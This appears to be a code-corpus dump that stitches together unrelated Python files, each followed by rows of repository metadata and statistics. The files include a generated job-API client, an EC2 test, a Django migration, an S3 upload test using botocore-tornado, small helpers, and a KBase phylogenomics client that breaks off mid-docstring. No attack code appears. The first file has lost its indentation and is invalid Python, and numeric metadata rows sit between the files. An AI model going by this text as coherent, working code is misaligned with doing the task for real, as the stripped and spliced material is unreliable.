Provides a price quote based upon the given BatchJobLaunchSpec. Quotes will be returned for clusters that the user/team has permission to use and that support the requested application, task distribution and runtime. When submitting multiple steps in a the job specification then the task reference may be used to identify individual steps. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_quote_with_http_info(data, async_req=True)
>>> result = thread.get()
:param data: (required)
:type data: JobSpec
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(JobQuote, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'data'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_quote" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'data' is set
if self.api_client.client_side_validation and ('data' not in local_var_params or # noqa: E501
local_var_params['data'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `data` when calling `job_quote`") # noqa: E501
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'data' in local_var_params:
body_params = local_var_params['data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/quote/', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='JobQuote', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_read(self, id, **kwargs): # noqa: E501
"""job_read # noqa: E501
See the details for the job instance with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_read(id, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: Job
"""
kwargs['_return_http_data_only'] = True
return self.job_read_with_http_info(id, **kwargs) # noqa: E501
def job_read_with_http_info(self, id, **kwargs): # noqa: E501
"""job_read # noqa: E501
See the details for the job instance with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_read_with_http_info(id, async_req=True)
>>> result = thread.get()
:param id: (required)
:type id: str
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(Job, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'id'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_read" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `job_read`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/{id}/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Job', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
def job_residuals_read(self, id, **kwargs): # noqa: E501
"""job_residuals_read # noqa: E501
Retreive the residuals for job with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_residuals_read(id, async_req=True)
>>> result = thread.get()
:param id: A unique integer value identifying this batch job instance. (required)
:type id: int
:param variables: Return data values for these variable names
:type variables: list[str]
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: JobResidual
"""
kwargs['_return_http_data_only'] = True
return self.job_residuals_read_with_http_info(id, **kwargs) # noqa: E501
def job_residuals_read_with_http_info(self, id, **kwargs): # noqa: E501
"""job_residuals_read # noqa: E501
Retreive the residuals for job with ID {id} # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.job_residuals_read_with_http_info(id, async_req=True)
>>> result = thread.get()
:param id: A unique integer value identifying this batch job instance. (required)
:type id: int
:param variables: Return data values for these variable names
:type variables: list[str]
:param async_req: Whether to execute the request asynchronously.
:type async_req: bool, optional
:param _return_http_data_only: response data without head status code
and headers
:type _return_http_data_only: bool, optional
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:type _preload_content: bool, optional
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
:param _request_auth: set to override the auth_settings for an a single
request; this effectively ignores the authentication
in the spec for a single request.
:type _request_auth: dict, optional
:return: Returns the result object.
If the method is called asynchronously,
returns the request thread.
:rtype: tuple(JobResidual, status_code(int), headers(HTTPHeaderDict))
"""
local_var_params = locals()
all_params = [
'id',
'variables'
]
all_params.extend(
[
'async_req',
'_return_http_data_only',
'_preload_content',
'_request_timeout',
'_request_auth'
]
)
for key, val in six.iteritems(local_var_params['kwargs']):
if key not in all_params:
raise ApiTypeError(
"Got an unexpected keyword argument '%s'"
" to method job_residuals_read" % key
)
local_var_params[key] = val
del local_var_params['kwargs']
# verify the required parameter 'id' is set
if self.api_client.client_side_validation and ('id' not in local_var_params or # noqa: E501
local_var_params['id'] is None): # noqa: E501
raise ApiValueError("Missing the required parameter `id` when calling `job_residuals_read`") # noqa: E501
collection_formats = {}
path_params = {}
if 'id' in local_var_params:
path_params['id'] = local_var_params['id'] # noqa: E501
query_params = []
if 'variables' in local_var_params and local_var_params['variables'] is not None: # noqa: E501
query_params.append(('variables', local_var_params['variables'])) # noqa: E501
collection_formats['variables'] = 'csv' # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['Bearer'] # noqa: E501
return self.api_client.call_api(
'/job/{id}/residuals/', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='JobResidual', # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get('async_req'),
_return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501
_preload_content=local_var_params.get('_preload_content', True),
_request_timeout=local_var_params.get('_request_timeout'),
collection_formats=collection_formats,
_request_auth=local_var_params.get('_request_auth'))
| 43.504695 | 362 | 0.582421 | 6,215 | 55,599 | 4.973612 | 0.043604 | 0.040115 | 0.06069 | 0.031445 | 0.963961 | 0.961049 | 0.9583 | 0.956844 | 0.949727 | 0.939989 | 0 | 0.013871 | 0.345168 | 55,599 | 1,277 | 363 | 43.538763 | 0.835146 | 0.492491 | 0 | 0.760512 | 0 | 0 | 0.159073 | 0.024671 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034735 | false | 0 | 0.009141 | 0 | 0.078611 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c37ffdee531e1ec54923ad65f40a2a035de352e1 | 361 | py | Python | tests/internal/virtualization/test_virtualization_hvm_auto.py | frolovv/aws.ec2.compare | 582805823492f833d65c0441c4a14dce697c12aa | [
"Apache-2.0"
] | null | null | null | tests/internal/virtualization/test_virtualization_hvm_auto.py | frolovv/aws.ec2.compare | 582805823492f833d65c0441c4a14dce697c12aa | [
"Apache-2.0"
] | null | null | null | tests/internal/virtualization/test_virtualization_hvm_auto.py | frolovv/aws.ec2.compare | 582805823492f833d65c0441c4a14dce697c12aa | [
"Apache-2.0"
] | null | null | null |
# Testing module virtualization.hvm
import pytest
import ec2_compare.internal.virtualization.hvm
def test_get_internal_data_virtualization_hvm_get_instances_list():
assert len(ec2_compare.internal.virtualization.hvm.get_instances_list()) > 0
def test_get_internal_data_virtualization_hvm_get():
assert len(ec2_compare.internal.virtualization.hvm.get) > 0
| 36.1 | 78 | 0.853186 | 50 | 361 | 5.78 | 0.36 | 0.352941 | 0.276817 | 0.33218 | 0.82699 | 0.615917 | 0.615917 | 0.615917 | 0 | 0 | 0 | 0.014925 | 0.072022 | 361 | 9 | 79 | 40.111111 | 0.847761 | 0.091413 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 9 |
6f13fb036aac286606bee5210004bb045b921583 | 2,242 | py | Python | main/migrations/0004_auto_20201119_2103.py | vestial/vision-video-analyzer | f5c5f9c0f0522008e86641648fd1591507ca8f6b | [
"MIT"
] | 1 | 2020-10-30T00:49:21.000Z | 2020-10-30T00:49:21.000Z | main/migrations/0004_auto_20201119_2103.py | vestial/vision-video-analyzer | f5c5f9c0f0522008e86641648fd1591507ca8f6b | [
"MIT"
] | null | null | null | main/migrations/0004_auto_20201119_2103.py | vestial/vision-video-analyzer | f5c5f9c0f0522008e86641648fd1591507ca8f6b | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2020-11-19 21:03
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0003_auto_20201119_2033'),
]
operations = [
migrations.AddField(
model_name='video',
name='bit_depth_recommendation',
field=models.TextField(blank=True,
default='No recommendation available.',
null=True),
),
migrations.AddField(
model_name='video',
name='bit_rate_recommendation',
field=models.TextField(blank=True,
default='No recommendation available.',
null=True),
),
migrations.AddField(
model_name='video',
name='frame_rate_recommendation',
field=models.TextField(blank=True,
default='No recommendation available.',
null=True),
),
migrations.AddField(
model_name='video',
name='resolution_recommendation',
field=models.TextField(blank=True,
default='No recommendation available.',
null=True),
),
migrations.AddField(
model_name='video',
name='sample_rate_recommendation',
field=models.TextField(blank=True,
default='No recommendation available.',
null=True),
),
migrations.AddField(
model_name='video',
name='shutter_speed_recommendation',
field=models.TextField(blank=True,
default='No recommendation available.',
null=True),
),
migrations.AddField(
model_name='video',
name='video_length_recommendation',
field=models.TextField(blank=True,
default='No recommendation available.',
null=True),
),
]
| 35.587302 | 74 | 0.477252 | 168 | 2,242 | 6.232143 | 0.285714 | 0.068768 | 0.153773 | 0.180516 | 0.812798 | 0.812798 | 0.812798 | 0.772684 | 0.772684 | 0.772684 | 0 | 0.02439 | 0.433095 | 2,242 | 62 | 75 | 36.16129 | 0.799371 | 0.020071 | 0 | 0.75 | 1 | 0 | 0.198633 | 0.091572 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.017857 | 0 | 0.071429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
6f20ba6ab90d7e54c6e8178db55cde079d25f9a9 | 4,643 | py | Python | test.py | ezotrank/botocore-tornado | ec3110830494c52cde923934c02ccb2ff37d6a83 | [
"MIT"
] | null | null | null | test.py | ezotrank/botocore-tornado | ec3110830494c52cde923934c02ccb2ff37d6a83 | [
"MIT"
] | null | null | null | test.py | ezotrank/botocore-tornado | ec3110830494c52cde923934c02ccb2ff37d6a83 | [
"MIT"
] | 1 | 2021-11-03T10:46:54.000Z | 2021-11-03T10:46:54.000Z | import botocore_tornado.session
import botocore.session
from tornado import gen
from tornado.ioloop import IOLoop
bucket = 'botocore-tornado-test' # change this to your bucket name
key = 'xyzzy' # a subfolder under the bucket
filename = 'testfile.txt' # the file we will put into S3
region = 'us-east-1' # change this to your region
acl = 'public-read' # we are going to set the ACL to public-read so we can access the file via a url
@gen.coroutine
def main_async():
session = botocore_tornado.session.get_session()
session.set_debug_logger()
session.set_debug_logger('botocore_tornado')
s3 = session.get_service('s3')
endpoint = s3.get_endpoint(region)
print "========================="
print "====== ASYNC TEST ======="
print "========================="
print
print "uploading the file to s3"
fp = open('./' + filename, 'rb')
operation = s3.get_operation('PutObject')
http_response, response_data = yield operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename,
body=fp)
print http_response
print response_data
print
print "getting s3 object properties of file we just uploaded"
operation = s3.get_operation('GetObjectAcl')
http_response, response_data = yield operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename)
print http_response
print response_data
print
print "setting the acl to public-read"
operation = s3.get_operation('PutObjectAcl')
http_response, response_data = yield operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename,
acl=acl)
print http_response
print response_data
print
print "The url of the object is:"
print
print 'http://'+bucket+'.s3.amazonaws.com/' + key + '/' + filename
operation = s3.get_operation('DeleteObject')
http_response, response_data = yield operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename)
print http_response
print response_data
def main_sync():
session = botocore.session.get_session()
session.set_debug_logger()
s3 = session.get_service('s3')
endpoint = s3.get_endpoint(region)
print "========================="
print "====== SYNC TEST ========"
print "========================="
print
print "uploading the file to s3"
fp = open('./' + filename, 'rb')
operation = s3.get_operation('PutObject')
http_response, response_data = operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename,
body=fp)
print http_response
print response_data
print
print "getting s3 object properties of file we just uploaded"
operation = s3.get_operation('GetObjectAcl')
http_response, response_data = operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename)
print http_response
print response_data
print
print "setting the acl to public-read"
operation = s3.get_operation('PutObjectAcl')
http_response, response_data = operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename,
acl=acl)
print http_response
print response_data
print
print "The url of the object is:"
print
print 'http://'+bucket+'.s3.amazonaws.com/' + key + '/' + filename
operation = s3.get_operation('DeleteObject')
http_response, response_data = operation.call(endpoint,
bucket=bucket,
key=key + '/' + filename)
print http_response
print response_data
if __name__ == '__main__':
with open(filename, 'w') as f:
f.write("botocore tornado upload test file")
IOLoop.instance().run_sync(main_async)
main_sync()
| 38.691667 | 101 | 0.518199 | 451 | 4,643 | 5.184035 | 0.197339 | 0.082121 | 0.047904 | 0.0787 | 0.772455 | 0.764756 | 0.764756 | 0.73225 | 0.73225 | 0.73225 | 0 | 0.007597 | 0.376265 | 4,643 | 119 | 102 | 39.016807 | 0.799724 | 0.041999 | 0 | 0.792453 | 0 | 0 | 0.155786 | 0.02724 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.037736 | null | null | 0.396226 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6f3b642010b53076efeab783795f90c90092c5bf | 284 | py | Python | common/elasticsearch/elasticsearch_client/__init__.py | KentWangYQ/mongo2es | 8952640e8ac3f2b1aa6845082fce04b7c4f7bd1e | [
"Apache-2.0"
] | 5 | 2018-12-24T10:45:56.000Z | 2019-07-29T07:26:28.000Z | common/elasticsearch/elasticsearch_client/__init__.py | KentWangYQ/mongo2es | 8952640e8ac3f2b1aa6845082fce04b7c4f7bd1e | [
"Apache-2.0"
] | null | null | null | common/elasticsearch/elasticsearch_client/__init__.py | KentWangYQ/mongo2es | 8952640e8ac3f2b1aa6845082fce04b7c4f7bd1e | [
"Apache-2.0"
] | 2 | 2019-07-30T06:27:49.000Z | 2021-09-24T08:21:52.000Z | # -*- coding: utf-8 -*-
__all__ = ['elasticsearch_client', 'elasticsearch_direct_client', 'elasticsearch_2_redis_client',
'elasticsearch_2_kafka_client']
import elasticsearch_client, elasticsearch_direct_client, elasticsearch_2_redis_client, elasticsearch_2_kafka_client
| 40.571429 | 116 | 0.806338 | 31 | 284 | 6.677419 | 0.354839 | 0.550725 | 0.386473 | 0.36715 | 0.908213 | 0.908213 | 0.908213 | 0.908213 | 0.908213 | 0.908213 | 0 | 0.019608 | 0.102113 | 284 | 6 | 117 | 47.333333 | 0.792157 | 0.073944 | 0 | 0 | 0 | 0 | 0.394636 | 0.318008 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 11 |
6f463eaef344a54e68e85b5ee6da693121b5eb02 | 213 | py | Python | hdlConvertorAst/to/hwt/utils.py | mewais/hdlConvertorAst | 64c8c1deee923ffae17e70e0fb1ad763cb69608c | [
"MIT"
] | null | null | null | hdlConvertorAst/to/hwt/utils.py | mewais/hdlConvertorAst | 64c8c1deee923ffae17e70e0fb1ad763cb69608c | [
"MIT"
] | null | null | null | hdlConvertorAst/to/hwt/utils.py | mewais/hdlConvertorAst | 64c8c1deee923ffae17e70e0fb1ad763cb69608c | [
"MIT"
] | null | null | null | from hdlConvertorAst.to.basic_hdl_sim_model.utils import BitsT as bsm_BitsT
def BitsT(width, is_signed=False, bits_cls_name="Bits"):
return bsm_BitsT(width, is_signed=is_signed, bits_cls_name=bits_cls_name)
| 35.5 | 77 | 0.821596 | 37 | 213 | 4.351351 | 0.567568 | 0.149068 | 0.204969 | 0.223602 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093897 | 213 | 5 | 78 | 42.6 | 0.834197 | 0 | 0 | 0 | 0 | 0 | 0.018779 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
6f5761a695dbb09ff41d1f76ee14b9a6c648f0d4 | 109 | py | Python | error.py | Tod80077/Recommendation-System-2.0 | 85f6f98345f4279c28842c23b2a07aa1340ba561 | [
"MIT"
] | null | null | null | error.py | Tod80077/Recommendation-System-2.0 | 85f6f98345f4279c28842c23b2a07aa1340ba561 | [
"MIT"
] | null | null | null | error.py | Tod80077/Recommendation-System-2.0 | 85f6f98345f4279c28842c23b2a07aa1340ba561 | [
"MIT"
] | null | null | null | import numpy as np
def rmse(predictions, targets):
return np.sqrt(((predictions - targets) ** 2).mean()) | 27.25 | 57 | 0.688073 | 15 | 109 | 5 | 0.8 | 0.48 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01087 | 0.155963 | 109 | 4 | 57 | 27.25 | 0.804348 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
6f6de1614156ef735016d159e753401410cc77b7 | 28,918 | py | Python | lib/kb_phylogenomics/kb_phylogenomicsClient.py | dcchivian/kb_phylogenomics | c63bae0dbe54b6d1e01107476e8f1b425acb11c5 | [
"MIT"
] | 1 | 2020-12-04T08:10:37.000Z | 2020-12-04T08:10:37.000Z | lib/kb_phylogenomics/kb_phylogenomicsClient.py | dcchivian/kb_phylogenomics | c63bae0dbe54b6d1e01107476e8f1b425acb11c5 | [
"MIT"
] | 30 | 2017-03-22T00:19:05.000Z | 2020-11-11T05:37:49.000Z | lib/kb_phylogenomics/kb_phylogenomicsClient.py | dcchivian/kb_phylogenomics | c63bae0dbe54b6d1e01107476e8f1b425acb11c5 | [
"MIT"
] | 11 | 2017-02-18T00:59:54.000Z | 2020-08-20T22:47:38.000Z | # -*- coding: utf-8 -*-
############################################################
#
# Autogenerated by the KBase type compiler -
# any changes made here will be overwritten
#
############################################################
from __future__ import print_function
# the following is a hack to get the baseclient to import whether we're in a
# package or not. This makes pep8 unhappy hence the annotations.
try:
# baseclient and this client are in a package
from .baseclient import BaseClient as _BaseClient # @UnusedImport
except ImportError:
# no they aren't
from baseclient import BaseClient as _BaseClient # @Reimport
class kb_phylogenomics(object):
def __init__(
self, url=None, timeout=30 * 60, user_id=None,
password=None, token=None, ignore_authrc=False,
trust_all_ssl_certificates=False,
auth_svc='https://ci.kbase.us/services/auth/api/legacy/KBase/Sessions/Login'):
if url is None:
raise ValueError('A url is required')
self._service_ver = None
self._client = _BaseClient(
url, timeout=timeout, user_id=user_id, password=password,
token=token, ignore_authrc=ignore_authrc,
trust_all_ssl_certificates=trust_all_ssl_certificates,
auth_svc=auth_svc)
def build_gene_tree(self, params, context=None):
"""
:param params: instance of type "build_gene_tree_Input"
(build_gene_tree() ** ** build a gene tree for a featureset) ->
structure: parameter "workspace_name" of type "workspace_name" (**
Common types), parameter "desc" of String, parameter
"input_featureSet_ref" of type "data_obj_ref", parameter
"output_tree_name" of type "data_obj_name", parameter
"genome_disp_name_config" of String, parameter "skip_trimming" of
type "bool", parameter "muscle_maxiters" of Long, parameter
"muscle_maxhours" of Double, parameter "gblocks_trim_level" of
Long, parameter "gblocks_min_seqs_for_conserved" of Long,
parameter "gblocks_min_seqs_for_flank" of Long, parameter
"gblocks_max_pos_contig_nonconserved" of Long, parameter
"gblocks_min_block_len" of Long, parameter
"gblocks_remove_mask_positions_flag" of Long, parameter
"fasttree_fastest" of Long, parameter "fasttree_pseudo" of Long,
parameter "fasttree_gtr" of Long, parameter "fasttree_wag" of
Long, parameter "fasttree_noml" of Long, parameter "fasttree_nome"
of Long, parameter "fasttree_cat" of Long, parameter
"fasttree_nocat" of Long, parameter "fasttree_gamma" of Long
:returns: instance of type "build_gene_tree_Output" -> structure:
parameter "report_name" of String, parameter "report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.build_gene_tree',
[params], self._service_ver, context)
def build_strain_tree(self, params, context=None):
"""
:param params: instance of type "build_strain_tree_Input"
(build_strain_tree() ** ** build a species tree for a collection
of strain genomes) -> structure: parameter "workspace_name" of
type "workspace_name" (** Common types), parameter "desc" of
String, parameter "input_genome_refs" of type "data_obj_ref",
parameter "output_tree_name" of type "data_obj_name", parameter
"genome_disp_name_config" of String, parameter "skip_trimming" of
type "bool", parameter "muscle_maxiters" of Long, parameter
"muscle_maxhours" of Double, parameter "gblocks_trim_level" of
Long, parameter "gblocks_min_seqs_for_conserved" of Long,
parameter "gblocks_min_seqs_for_flank" of Long, parameter
"gblocks_max_pos_contig_nonconserved" of Long, parameter
"gblocks_min_block_len" of Long, parameter
"gblocks_remove_mask_positions_flag" of Long, parameter
"fasttree_fastest" of Long, parameter "fasttree_pseudo" of Long,
parameter "fasttree_gtr" of Long, parameter "fasttree_wag" of
Long, parameter "fasttree_noml" of Long, parameter "fasttree_nome"
of Long, parameter "fasttree_cat" of Long, parameter
"fasttree_nocat" of Long, parameter "fasttree_gamma" of Long
:returns: instance of type "build_strain_tree_Output" -> structure:
parameter "report_name" of String, parameter "report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.build_strain_tree',
[params], self._service_ver, context)
def build_pangenome_species_tree(self, params, context=None):
"""
:param params: instance of type "build_pangenome_species_tree_Input"
(build_pangenome_species_tree() ** ** build a species tree using
the single copy genes from a pangenome) -> structure: parameter
"workspace_name" of type "workspace_name" (** Common types),
parameter "desc" of String, parameter "input_pangenome_ref" of
type "data_obj_ref", parameter "output_tree_name" of type
"data_obj_name", parameter "genome_disp_name_config" of String,
parameter "skip_trimming" of type "bool", parameter
"perc_marker_presence_min" of Double, parameter "muscle_maxiters"
of Long, parameter "muscle_maxhours" of Double, parameter
"gblocks_trim_level" of Long, parameter
"gblocks_min_seqs_for_conserved" of Long, parameter
"gblocks_min_seqs_for_flank" of Long, parameter
"gblocks_max_pos_contig_nonconserved" of Long, parameter
"gblocks_min_block_len" of Long, parameter
"gblocks_remove_mask_positions_flag" of Long, parameter
"fasttree_fastest" of Long, parameter "fasttree_pseudo" of Long,
parameter "fasttree_gtr" of Long, parameter "fasttree_wag" of
Long, parameter "fasttree_noml" of Long, parameter "fasttree_nome"
of Long, parameter "fasttree_cat" of Long, parameter
"fasttree_nocat" of Long, parameter "fasttree_gamma" of Long
:returns: instance of type "build_pangenome_species_tree_Output" ->
structure: parameter "report_name" of String, parameter
"report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.build_pangenome_species_tree',
[params], self._service_ver, context)
def view_tree(self, params, context=None):
"""
:param params: instance of type "view_tree_Input" (view_tree() ** **
show a KBase Tree and make newick and images downloadable) ->
structure: parameter "workspace_name" of type "workspace_name" (**
Common types), parameter "input_tree_ref" of type "data_obj_ref",
parameter "desc" of String, parameter
"show_skeleton_genome_sci_name" of type "bool", parameter
"reference_genome_disp" of mapping from type "data_obj_ref" to
mapping from String to String, parameter "skeleton_genome_disp" of
mapping from type "data_obj_ref" to mapping from String to String,
parameter "user_genome_disp" of mapping from type "data_obj_ref"
to mapping from String to String, parameter "user2_genome_disp" of
mapping from type "data_obj_ref" to mapping from String to String,
parameter "color_for_reference_genomes" of String, parameter
"color_for_skeleton_genomes" of String, parameter
"color_for_user_genomes" of String, parameter
"color_for_user2_genomes" of String, parameter "tree_shape" of
String
:returns: instance of type "view_tree_Output" -> structure: parameter
"report_name" of String, parameter "report_ref" of String
"""
return self._client.call_method('kb_phylogenomics.view_tree',
[params], self._service_ver, context)
def trim_speciestree_to_genomeset(self, params, context=None):
"""
:param params: instance of type "trim_speciestree_to_genomeset_Input"
(trim_speciestree_to_genomeset() ** ** reduce tree to match
genomes found in genomeset) -> structure: parameter
"workspace_name" of type "workspace_name" (** Common types),
parameter "input_genomeSet_ref" of type "data_obj_ref", parameter
"input_tree_ref" of type "data_obj_ref", parameter
"output_tree_name" of type "data_obj_name", parameter "desc" of
String, parameter "show_skeleton_genome_sci_name" of type "bool",
parameter "enforce_genome_version_match" of type "bool", parameter
"reference_genome_disp" of mapping from type "data_obj_ref" to
mapping from String to String, parameter "skeleton_genome_disp" of
mapping from type "data_obj_ref" to mapping from String to String,
parameter "user_genome_disp" of mapping from type "data_obj_ref"
